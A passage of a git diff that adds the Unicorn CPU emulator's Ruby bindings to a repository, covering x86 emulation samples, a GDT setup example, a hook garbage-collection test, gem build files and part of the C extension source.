read 4 byte to EAX + return 0xf4 + end + # we should never reach here + return 0 +end + + +# callback for OUT instruction +HOOK_OUT = Proc.new do |uc, port, size, value, user_data| + eip = uc.reg_read(UC_X86_REG_EIP) + puts("--- writing to port 0x%x, size: %u, value: 0x%x, address: 0x%x" % [port, size, value, eip]) + + # confirm that value is indeed the value of AL/AX/EAX + v = 0 + if size == 1 + # read 1 byte in AL + v = uc.reg_read(UC_X86_REG_AL) + end + if size == 2 + # read 2 bytes in AX + v = uc.reg_read(UC_X86_REG_AX) + end + if size == 4 + # read 4 bytes in EAX + v = uc.reg_read(UC_X86_REG_EAX) + end + + puts("--- register value = 0x%x" %v) +end + + +# Test X86 32 bit +def test_i386() + puts("Emulate i386 code") + begin + # Initialize emulator in X86-32bit mode + mu = Uc.new UC_ARCH_X86, UC_MODE_32 + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, X86_CODE32) + + # initialize machine registers + mu.reg_write(UC_X86_REG_ECX, 0x1234) + mu.reg_write(UC_X86_REG_EDX, 0x7890) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, HOOK_BLOCK) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, HOOK_CODE) + mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED, HOOK_MEM_INVALID) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + X86_CODE32.bytesize) + + # now print out some registers + puts(">>> Emulation done. Below is the CPU context") + + r_ecx = mu.reg_read(UC_X86_REG_ECX) + r_edx = mu.reg_read(UC_X86_REG_EDX) + puts(">>> ECX = 0x%x" % r_ecx) + puts(">>> EDX = 0x%x" % r_edx) + + # read from memory + tmp = mu.mem_read(ADDRESS, 2) + print(">>> Read 2 bytes from [0x%x] =" % (ADDRESS)) + tmp.each_byte { |i| print(" 0x%x" % i) } + + puts + + rescue UcError => e + puts("ERROR: %s" % e) + end +end + + +def test_i386_loop() + puts("Emulate i386 code with infinite loop - wait for 2 seconds then stop emulation") + begin + # Initialize emulator in X86-32bit mode + mu = Uc.new UC_ARCH_X86, UC_MODE_32 + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, X86_CODE32_LOOP) + + # initialize machine registers + mu.reg_write(UC_X86_REG_ECX, 0x1234) + mu.reg_write(UC_X86_REG_EDX, 0x7890) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + X86_CODE32_LOOP.bytesize, 2 * UC_SECOND_SCALE) + + # now print out some registers + puts(">>> Emulation done. Below is the CPU context") + + r_ecx = mu.reg_read(UC_X86_REG_ECX) + r_edx = mu.reg_read(UC_X86_REG_EDX) + puts(">>> ECX = 0x%x" % r_ecx) + puts(">>> EDX = 0x%x" % r_edx) + + rescue UcError => e + puts("ERROR: %s" % e) + end +end + + +def test_i386_invalid_mem_read() + puts("Emulate i386 code that read from invalid memory") + begin + # Initialize emulator in X86-32bit mode + mu = Uc.new UC_ARCH_X86, UC_MODE_32 + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, X86_CODE32_MEM_READ) + + # initialize machine registers + mu.reg_write(UC_X86_REG_ECX, 0x1234) + mu.reg_write(UC_X86_REG_EDX, 0x7890) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, HOOK_BLOCK) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, HOOK_CODE) + + begin + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_READ.bytesize) + rescue UcError => e + puts("ERROR: %s" % e) + end + + # now print out some registers + puts(">>> Emulation done. Below is the CPU context") + + r_ecx = mu.reg_read(UC_X86_REG_ECX) + r_edx = mu.reg_read(UC_X86_REG_EDX) + puts(">>> ECX = 0x%x" % r_ecx) + puts(">>> EDX = 0x%x" % r_edx) + + rescue UcError => e + print("ERROR: %s" % e) + end +end + + +def test_i386_invalid_mem_write() + puts("Emulate i386 code that write to invalid memory") + begin + # Initialize emulator in X86-32bit mode + mu = Uc.new UC_ARCH_X86, UC_MODE_32 + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, X86_CODE32_MEM_WRITE) + + # initialize machine registers + mu.reg_write(UC_X86_REG_ECX, 0x1234) + mu.reg_write(UC_X86_REG_EDX, 0x7890) + + # tracing all basic blocks with customized callback + #mu.hook_add(UC_HOOK_BLOCK, HOOK_BLOCK) + + # tracing all instructions with customized callback + #mu.hook_add(UC_HOOK_CODE, HOOK_CODE) + + # intercept invalid memory events + mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED, HOOK_MEM_INVALID) + + begin + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_WRITE.bytesize) + rescue UcError => e + puts "ERROR: %s" % e + end + + # now print out some registers + puts ">>> Emulation done. Below is the CPU context" + + r_ecx = mu.reg_read(UC_X86_REG_ECX) + r_edx = mu.reg_read(UC_X86_REG_EDX) + puts ">>> ECX = 0x%x" % r_ecx + puts ">>> EDX = 0x%x" % r_edx + + begin + # read from memory + print ">>> Read 4 bytes from [0x%x] = " % (0xaaaaaaaa) + tmp = mu.mem_read(0xaaaaaaaa, 4) + tmp.each_byte { |i| print(" 0x%x" % i) } + puts + + print ">>> Read 4 bytes from [0x%x] = " % 0xffffffaa + tmp = mu.mem_read(0xffffffaa, 4) + tmp.each_byte { |i| puts(" 0x%x" % i) } + puts + + rescue UcError => e + puts "ERROR: %s" % e + end + + rescue UcError => e + puts "ERROR: %s" % e + end +end + +def test_i386_context_save() + + puts("Save/restore CPU context in opaque blob") + address = 0 + code = '\x40' # inc eax + begin + # Initialize emulator + mu = Uc.new UC_ARCH_X86, UC_MODE_32 + + # map 8KB memory for this emulation + mu.mem_map(address, 8 * 1024, UC_PROT_ALL) + + # write machine code to be emulated to memory + mu.mem_write(address, code) + + # set eax to 1 + mu.reg_write(UC_X86_REG_EAX, 1) + + puts(">>> Running emulation for the first time") + mu.emu_start(address, address+1) + + puts(">>> Emulation done. Below is the CPU context") + puts(">>> EAX = 0x%x" %(mu.reg_read(UC_X86_REG_EAX))) + puts(">>> Saving CPU context") + saved_context = mu.context_save() + + puts(">>> Running emulation for the second time") + mu.emu_start(address, address+1) + puts(">>> Emulation done. Below is the CPU context") + puts(">>> EAX = 0x%x" %(mu.reg_read(UC_X86_REG_EAX))) + + puts(">>> CPU context restored. Below is the CPU context") + mu.context_restore(saved_context) + puts(">>> EAX = 0x%x" %(mu.reg_read(UC_X86_REG_EAX))) + + rescue UcError => e + puts("ERROR: %s" % e) + end + +end + +# Test X86 32 bit with IN/OUT instruction +def test_i386_inout() + puts("Emulate i386 code with IN/OUT instructions") + begin + # Initialize emulator in X86-32bit mode + mu = Uc.new UC_ARCH_X86, UC_MODE_32 + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, X86_CODE32_INOUT) + + # initialize machine registers + mu.reg_write(UC_X86_REG_EAX, 0x1234) + mu.reg_write(UC_X86_REG_ECX, 0x6789) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, HOOK_BLOCK) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, HOOK_CODE) + + # handle IN & OUT instruction + mu.hook_add(UC_HOOK_INSN, HOOK_IN, nil, 1, 0, UC_X86_INS_IN) + mu.hook_add(UC_HOOK_INSN, HOOK_OUT, nil, 1, 0, UC_X86_INS_OUT) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + X86_CODE32_INOUT.bytesize) + + # now print out some registers + puts(">>> Emulation done. Below is the CPU context") + + r_ecx = mu.reg_read(UC_X86_REG_ECX) + r_eax = mu.reg_read(UC_X86_REG_EAX) + puts ">>> EAX = 0x%x" % r_eax + puts ">>> ECX = 0x%x" % r_ecx + rescue UcError => e + puts("ERROR: %s" % e) + end +end + + +def test_x86_64() + puts("Emulate x86_64 code") + begin + # Initialize emulator in X86-64bit mode + mu = Uc.new UC_ARCH_X86, UC_MODE_64 + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, X86_CODE64) + + # initialize machine registers + mu.reg_write(UC_X86_REG_RAX, 0x71f3029efd49d41d) + mu.reg_write(UC_X86_REG_RBX, 0xd87b45277f133ddb) + mu.reg_write(UC_X86_REG_RCX, 0xab40d1ffd8afc461) + mu.reg_write(UC_X86_REG_RDX, 0x919317b4a733f01) + mu.reg_write(UC_X86_REG_RSI, 0x4c24e753a17ea358) + mu.reg_write(UC_X86_REG_RDI, 0xe509a57d2571ce96) + mu.reg_write(UC_X86_REG_R8, 0xea5b108cc2b9ab1f) + mu.reg_write(UC_X86_REG_R9, 0x19ec097c8eb618c1) + mu.reg_write(UC_X86_REG_R10, 0xec45774f00c5f682) + mu.reg_write(UC_X86_REG_R11, 0xe17e9dbec8c074aa) + mu.reg_write(UC_X86_REG_R12, 0x80f86a8dc0f6d457) + mu.reg_write(UC_X86_REG_R13, 0x48288ca5671c5492) + mu.reg_write(UC_X86_REG_R14, 0x595f72f6e4017f6e) + mu.reg_write(UC_X86_REG_R15, 0x1efd97aea331cccc) + + # setup stack + mu.reg_write(UC_X86_REG_RSP, ADDRESS + 0x200000) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, HOOK_BLOCK) + + # tracing all instructions in range [ADDRESS, ADDRESS+20] + mu.hook_add(UC_HOOK_CODE, HOOK_CODE, 0, ADDRESS, ADDRESS+20) + + # tracing all memory READ & WRITE access + mu.hook_add(UC_HOOK_MEM_WRITE, HOOK_MEM_ACCESS) + mu.hook_add(UC_HOOK_MEM_READ, HOOK_MEM_ACCESS) + # actually you can also use READ_WRITE to trace all memory access + #mu.hook_add(UC_HOOK_MEM_READ | UC_HOOK_MEM_WRITE, hook_mem_access) + + begin + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + X86_CODE64.bytesize) + rescue UcError => e + puts("ERROR: %s" % e) + end + # now print out some registers + puts(">>> Emulation done. Below is the CPU context") + rax = mu.reg_read(UC_X86_REG_RAX) + rbx = mu.reg_read(UC_X86_REG_RBX) + rcx = mu.reg_read(UC_X86_REG_RCX) + rdx = mu.reg_read(UC_X86_REG_RDX) + rsi = mu.reg_read(UC_X86_REG_RSI) + rdi = mu.reg_read(UC_X86_REG_RDI) + r8 = mu.reg_read(UC_X86_REG_R8) + r9 = mu.reg_read(UC_X86_REG_R9) + r10 = mu.reg_read(UC_X86_REG_R10) + r11 = mu.reg_read(UC_X86_REG_R11) + r12 = mu.reg_read(UC_X86_REG_R12) + r13 = mu.reg_read(UC_X86_REG_R13) + r14 = mu.reg_read(UC_X86_REG_R14) + r15 = mu.reg_read(UC_X86_REG_R15) + + puts(">>> RAX = %d" % rax) + puts(">>> RBX = %d" % rbx) + puts(">>> RCX = %d" % rcx) + puts(">>> RDX = %d" % rdx) + puts(">>> RSI = %d" % rsi) + puts(">>> RDI = %d" % rdi) + puts(">>> R8 = %d" % r8) + puts(">>> R9 = %d" % r9) + puts(">>> R10 = %d" % r10) + puts(">>> R11 = %d" % r11) + puts(">>> R12 = %d" % r12) + puts(">>> R13 = %d" % r13) + puts(">>> R14 = %d" % r14) + puts(">>> R15 = %d" % r15) + #BUG + mu.emu_start(ADDRESS, ADDRESS + X86_CODE64.bytesize) + + rescue UcError => e + puts("ERROR: %s" % e) + end +end + + +def test_x86_64_syscall() + puts("Emulate x86_64 code with 'syscall' instruction") + begin + # Initialize emulator in X86-64bit mode + mu = Uc.new UC_ARCH_X86, UC_MODE_64 + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, X86_CODE64_SYSCALL) + + hook_syscall = Proc.new do |mu, user_data| + rax = mu.reg_read(UC_X86_REG_RAX) + if rax == 0x100 + mu.reg_write(UC_X86_REG_RAX, 0x200) + else + puts('ERROR: was not expecting rax=%d in syscall' % rax) + end + end + + # hook interrupts for syscall + mu.hook_add(UC_HOOK_INSN, hook_syscall, nil, 1, 0, UC_X86_INS_SYSCALL) + + # syscall handler is expecting rax=0x100 + mu.reg_write(UC_X86_REG_RAX, 0x100) + + begin + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + X86_CODE64_SYSCALL.bytesize) + rescue UcError => e + puts("ERROR: %s" % e) + end + + # now print out some registers + puts(">>> Emulation done. Below is the CPU context") + + rax = mu.reg_read(UC_X86_REG_RAX) + puts(">>> RAX = 0x%x" % rax) + + rescue UcError => e + puts("ERROR: %s" % e) + end +end + + +def test_x86_16() + puts("Emulate x86 16-bit code") + begin + # Initialize emulator in X86-16bit mode + mu = Uc.new UC_ARCH_X86, UC_MODE_16 + + # map 8KB memory for this emulation + mu.mem_map(0, 8 * 1024) + + # set CPU registers + mu.reg_write(UC_X86_REG_EAX, 7) + mu.reg_write(UC_X86_REG_EBX, 5) + mu.reg_write(UC_X86_REG_ESI, 6) + + # write machine code to be emulated to memory + mu.mem_write(0, X86_CODE16) + + # emulate machine code in infinite time + mu.emu_start(0, X86_CODE16.bytesize) + + # now print out some registers + puts(">>> Emulation done. Below is the CPU context") + + tmp = mu.mem_read(11, 1) + puts("[0x%x] = 0x%x" % [11, tmp[0].ord]) + + rescue UcError => e + puts("ERROR: %s" % e) + end +end + + +test_i386() +puts("=" * 20) +test_i386_loop() +puts("=" * 20) +test_i386_invalid_mem_read() +puts("=" * 20) +test_i386_invalid_mem_write() +puts("=" * 20) +test_i386_context_save() +puts("=" * 20) +test_i386_inout() +puts("=" * 20) +test_x86_64() +puts("=" * 20) +test_x86_64_syscall() +puts("=" * 20) +test_x86_16() diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_x86_gdt.rb b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_x86_gdt.rb new file mode 100644 index 0000000..7aa6021 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_x86_gdt.rb @@ -0,0 +1,97 @@ +#!/usr/bin/env ruby +require 'unicorn_engine' +require 'unicorn_engine/x86_const' + +include UnicornEngine + +F_GRANULARITY = 0x8 +F_PROT_32 = 0x4 +F_LONG = 0x2 +F_AVAILABLE = 0x1 + +A_PRESENT = 0x80 + +A_PRIV_3 = 0x60 +A_PRIV_2 = 0x40 +A_PRIV_1 = 0x20 +A_PRIV_0 = 0x0 + +A_CODE = 0x8 +A_DATA = 0x0 +A_TSS = 0x0 +A_GATE = 0x0 + +A_DATA_WRITABLE = 0x2 +A_CODE_READABLE = 0x2 + +A_DIR_CON_BIT = 0x4 + +S_GDT = 0x0 +S_LDT = 0x4 +S_PRIV_3 = 0x3 +S_PRIV_2 = 0x2 +S_PRIV_1 = 0x1 +S_PRIV_0 = 0x0 + +def create_selector(idx, flags) + to_ret = flags + to_ret |= idx << 3 + return to_ret +end + +def create_gdt_entry(base, limit, access, flags) + + to_ret = limit & 0xffff; + to_ret |= (base & 0xffffff) << 16; + to_ret |= (access & 0xff) << 40; + to_ret |= ((limit >> 16) & 0xf) << 48; + to_ret |= (flags & 0xff) << 52; + to_ret |= ((base >> 24) & 0xff) << 56; + return [to_ret].pack('Q') +end + +def write_gdt(uc, gdt, mem) + gdt.each_index do |idx| + offset = idx * GDT_ENTRY_SIZE + uc.mem_write(mem + offset, gdt[idx]) + end +end + +CODE_ADDR = 0x40000 +CODE_SIZE = 0x1000 + +GDT_ADDR = 0x3000 +GDT_LIMIT = 0x1000 +GDT_ENTRY_SIZE = 0x8 + +GS_SEGMENT_ADDR = 0x5000 +GS_SEGMENT_SIZE = 0x1000 + +uc = Uc.new UC_ARCH_X86, UC_MODE_32 + +uc.mem_map(GDT_ADDR, GDT_LIMIT) +uc.mem_map(GS_SEGMENT_ADDR, GS_SEGMENT_SIZE) +uc.mem_map(CODE_ADDR, CODE_SIZE) + +gdt = Array.new (31) {|i| create_gdt_entry(0,0,0,0)} +gdt[15] = create_gdt_entry(GS_SEGMENT_ADDR, GS_SEGMENT_SIZE, A_PRESENT | A_DATA | A_DATA_WRITABLE | A_PRIV_3 | A_DIR_CON_BIT, F_PROT_32) +gdt[16] = create_gdt_entry(0, 0xfffff000 , A_PRESENT | A_DATA | A_DATA_WRITABLE | A_PRIV_3 | A_DIR_CON_BIT, F_PROT_32) # Data Segment +gdt[17] = create_gdt_entry(0, 0xfffff000 , A_PRESENT | A_CODE | A_CODE_READABLE | A_PRIV_3 | A_DIR_CON_BIT, F_PROT_32) # Code Segment +gdt[18] = create_gdt_entry(0, 0xfffff000 , A_PRESENT | A_DATA | A_DATA_WRITABLE | A_PRIV_0 | A_DIR_CON_BIT, F_PROT_32) # Stack Segment + +write_gdt(uc, gdt, GDT_ADDR) +uc.reg_write(UC_X86_REG_GDTR, [0, GDT_ADDR, gdt.length * GDT_ENTRY_SIZE-1, 0x0]) + +selector = create_selector(15, S_GDT | S_PRIV_3) +uc.reg_write(UC_X86_REG_GS, selector) + +selector = create_selector(16, S_GDT | S_PRIV_3) +uc.reg_write(UC_X86_REG_DS, selector) + +selector = create_selector(17, S_GDT | S_PRIV_3) +uc.reg_write(UC_X86_REG_CS, selector) + +selector = create_selector(18, S_GDT | S_PRIV_0) +uc.reg_write(UC_X86_REG_SS, selector) + + diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/test_hook_gc.rb b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/test_hook_gc.rb new file mode 100644 index 0000000..53593b6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/test_hook_gc.rb @@ -0,0 +1,60 @@ +#!/usr/bin/env ruby +require 'unicorn_engine' +require 'unicorn_engine/x86_const' +require 'weakref' + +include UnicornEngine + +X86_CODE32 = "\x41" # INC ecx; DEC edx + +# memory address where emulation starts +ADDRESS = 0x1000000 + +# callback for tracing instructions +hook_code = Proc.new do |uc, address, size, user_data| + puts("proc was run") +end + +hook_code_weak = WeakRef.new hook_code + +begin + # Initialize emulator in X86-32bit mode + mu = Uc.new UC_ARCH_X86, UC_MODE_32 + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, X86_CODE32) + + # initialize machine registers + mu.reg_write(UC_X86_REG_ECX, 0x1234) + mu.reg_write(UC_X86_REG_EDX, 0x7890) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code) + + hook_code = nil # erase reference to proc + + GC.start() # force garbage collection to test if proc is garbage collected + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + X86_CODE32.bytesize) + + mu = nil # erase reference to Uc because apparently it doesn't go out of scope after this? +rescue UcError => e + puts("ERROR: %s" % e) + exit 1 +rescue NoMethodError => e + puts("proc was garbage collected and we tried to invoke `call` on something strange") + exit 1 +end + +GC.start() + +if hook_code_weak.weakref_alive?() then + puts("proc was not garbage collected") + exit 1 +end + +puts "test passed" +exit 0 diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/Gemfile b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/Gemfile new file mode 100644 index 0000000..fa75df1 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/Gemfile @@ -0,0 +1,3 @@ +source 'https://rubygems.org' + +gemspec diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/Rakefile b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/Rakefile new file mode 100644 index 0000000..43022f7 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/Rakefile @@ -0,0 +1,2 @@ +require "bundler/gem_tasks" +task :default => :spec diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/ext/extconf.rb b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/ext/extconf.rb new file mode 100644 index 0000000..d821f3d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/ext/extconf.rb @@ -0,0 +1,8 @@ +require 'mkmf' + +extension_name = 'unicorn_engine' + +dir_config(extension_name) +have_library('unicorn') + +create_makefile(extension_name) diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/ext/types.h b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/ext/types.h new file mode 100644 index 0000000..15da7c8 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/ext/types.h @@ -0,0 +1,33 @@ +/* + +Ruby bindings for the Unicorn Emulator Engine + +Copyright(c) 2016 Sascha Schirra + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ + +typedef struct uc_x86_float80 { + uint64_t mantissa; + uint16_t exponent; +} uc_x86_float80; + + +struct hook { + uc_hook trace; + VALUE cb; + VALUE ud; + VALUE rUc; +}; diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/ext/unicorn.c b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/ext/unicorn.c new file mode 100644 index 0000000..bb7363f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/ext/unicorn.c @@ -0,0 +1,589 @@ +/* + +Ruby bindings for the Unicorn Emulator Engine + +Copyright(c) 2016 Sascha Schirra + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +version 2 as published by the Free Software Foundation. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + +*/ +#include "ruby.h" +#include <unicorn/unicorn.h> +#include <unicorn/x86.h> +#include "unicorn.h" +#include "types.h" + +VALUE UnicornModule = Qnil; +VALUE UcClass = Qnil; +VALUE UcError = Qnil; +VALUE SavedContext = Qnil; +VALUE Hook = Qnil; + + +void Init_unicorn_engine() { + rb_require("unicorn_engine/unicorn_const"); + UnicornModule = rb_define_module("UnicornEngine"); + UcError = rb_define_class_under(UnicornModule, "UcError", rb_eStandardError); + SavedContext = rb_define_class_under(UnicornModule, "SavedContext", rb_cObject); + Hook = rb_define_class_under(UnicornModule, "Hook", rb_cObject); + + UcClass = rb_define_class_under(UnicornModule, "Uc", rb_cObject); + rb_define_method(UcClass, "initialize", m_uc_initialize, 2); + rb_define_method(UcClass, "emu_start", m_uc_emu_start, -1); + rb_define_method(UcClass, "emu_stop", m_uc_emu_stop, 0); + rb_define_method(UcClass, "reg_read", m_uc_reg_read, 1); + rb_define_method(UcClass, "reg_write", m_uc_reg_write, 2); + rb_define_method(UcClass, "mem_read", m_uc_mem_read, 2); + rb_define_method(UcClass, "mem_write", m_uc_mem_write, 2); + rb_define_method(UcClass, "mem_map", m_uc_mem_map, -1); + rb_define_method(UcClass, "mem_unmap", m_uc_mem_unmap, 2); + rb_define_method(UcClass, "mem_protect", m_uc_mem_protect, 3); + rb_define_method(UcClass, "hook_add", m_uc_hook_add, -1); + rb_define_method(UcClass, "hook_del", m_uc_hook_del, 1); + rb_define_method(UcClass, "query", m_uc_query, 1); + rb_define_method(UcClass, "context_save", m_uc_context_save, 0); + rb_define_method(UcClass, "context_update", m_uc_context_update, 1); + rb_define_method(UcClass, "context_restore", m_uc_context_restore, 1); +} + +VALUE m_uc_initialize(VALUE self, VALUE arch, VALUE mode) { + uc_engine *_uc; + uc_err err; + err = uc_open(NUM2INT(arch), NUM2INT(mode), &_uc); + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + + VALUE uc = Data_Wrap_Struct(UcClass, 0, uc_close, _uc); + rb_iv_set(self, "@uch", uc); + rb_iv_set(self, "@hooks", rb_ary_new()); + + return self; +} + +VALUE m_uc_emu_start(int argc, VALUE* argv, VALUE self){ + VALUE begin; + VALUE until; + VALUE timeout; + VALUE count; + uc_err err; + uc_engine *_uc; + Data_Get_Struct(rb_iv_get(self,"@uch"), uc_engine, _uc); + + rb_scan_args(argc, argv, "22",&begin, &until, &timeout, &count); + if (NIL_P(timeout)) + timeout = INT2NUM(0); + + if (NIL_P(count)) + count = INT2NUM(0); + + err = uc_emu_start(_uc, NUM2ULL(begin), NUM2ULL(until), NUM2INT(timeout), NUM2INT(count)); + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + return Qnil; +} + +VALUE m_uc_emu_stop(VALUE self){ + uc_err err; + uc_engine *_uc; + Data_Get_Struct(rb_iv_get(self,"@uch"), uc_engine, _uc); + + err = uc_emu_stop(_uc); + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + return Qnil; +} + +VALUE m_uc_reg_read(VALUE self, VALUE reg_id){ + uc_err err; + int32_t tmp_reg = NUM2INT(reg_id); + int64_t reg_value = 0; + VALUE to_ret; + uc_x86_mmr mmr; + uc_x86_float80 float80; + + uc_engine *_uc; + Data_Get_Struct(rb_iv_get(self,"@uch"), uc_engine, _uc); + + uc_arch arch; + uc_query(_uc, UC_QUERY_ARCH, &arch); + + if(arch == UC_ARCH_X86) { + switch(tmp_reg){ + case UC_X86_REG_GDTR: + case UC_X86_REG_IDTR: + case UC_X86_REG_LDTR: + case UC_X86_REG_TR: + mmr.selector = 0; + mmr.base = 0; + mmr.limit = 0; + mmr.flags = 0; + err = uc_reg_read(_uc, tmp_reg, &mmr); + + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + VALUE mmr_ary = rb_ary_new(); + reg_value = mmr.selector; + rb_ary_store(mmr_ary, 0, UINT2NUM(reg_value)); + rb_ary_store(mmr_ary, 1, ULL2NUM(mmr.base)); + rb_ary_store(mmr_ary, 2, UINT2NUM(mmr.limit)); + rb_ary_store(mmr_ary, 3, UINT2NUM(mmr.flags)); + return mmr_ary; + + case UC_X86_REG_FP0: + case UC_X86_REG_FP1: + case UC_X86_REG_FP2: + case UC_X86_REG_FP3: + case UC_X86_REG_FP4: + case UC_X86_REG_FP5: + case UC_X86_REG_FP6: + case UC_X86_REG_FP7: + float80.mantissa = 0; + float80.exponent = 0; + + err = uc_reg_read(_uc, tmp_reg, &float80); + + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + + VALUE float80_ary = rb_ary_new(); + + rb_ary_store(float80_ary, 0, ULL2NUM(float80.mantissa)); + rb_ary_store(float80_ary, 1, UINT2NUM(float80.exponent)); + + return float80_ary; + } + } + if(arch == UC_ARCH_ARM64) { + // V & Q registers are the same + if(tmp_reg >= UC_ARM64_REG_V0 && tmp_reg <= UC_ARM64_REG_V31) { + tmp_reg += UC_ARM64_REG_Q0 - UC_ARM64_REG_V0; + } + if(tmp_reg >= UC_ARM64_REG_Q0 && tmp_reg <= UC_ARM64_REG_Q31) { + uint64_t neon128_value[2]; + err = uc_reg_read(_uc, tmp_reg, &neon128_value); + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + VALUE float128_ary = rb_ary_new(); + rb_ary_store(float128_ary, 0, ULL2NUM(neon128_value[0])); + rb_ary_store(float128_ary, 1, ULL2NUM(neon128_value[1])); + return float128_ary; + } + } + err = uc_reg_read(_uc, tmp_reg, ®_value); + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + return ULL2NUM(reg_value); +} + +VALUE m_uc_reg_write(VALUE self, VALUE reg_id, VALUE reg_value){ + uc_err err; + int32_t tmp_reg = NUM2INT(reg_id); + uc_x86_mmr mmr; + uc_x86_float80 float80; + int64_t tmp; + uc_engine *_uc; + Data_Get_Struct(rb_iv_get(self,"@uch"), uc_engine, _uc); + + uc_arch arch; + uc_query(_uc, UC_QUERY_ARCH, &arch); + + if(arch == UC_ARCH_X86) { + switch(tmp_reg){ + case UC_X86_REG_GDTR: + case UC_X86_REG_IDTR: + case UC_X86_REG_LDTR: + case UC_X86_REG_TR: + Check_Type(reg_value, T_ARRAY); + + mmr.selector = NUM2USHORT(rb_ary_entry(reg_value,0)); + mmr.base = NUM2ULL(rb_ary_entry(reg_value,1)); + mmr.limit = NUM2UINT(rb_ary_entry(reg_value,2)); + mmr.flags = NUM2UINT(rb_ary_entry(reg_value,3)); + err = uc_reg_write(_uc, tmp_reg, &mmr); + if (err != UC_ERR_OK) { + rb_raise(UcError, "%s", uc_strerror(err)); + } + return Qnil; + + case UC_X86_REG_FP0: + case UC_X86_REG_FP1: + case UC_X86_REG_FP2: + case UC_X86_REG_FP3: + case 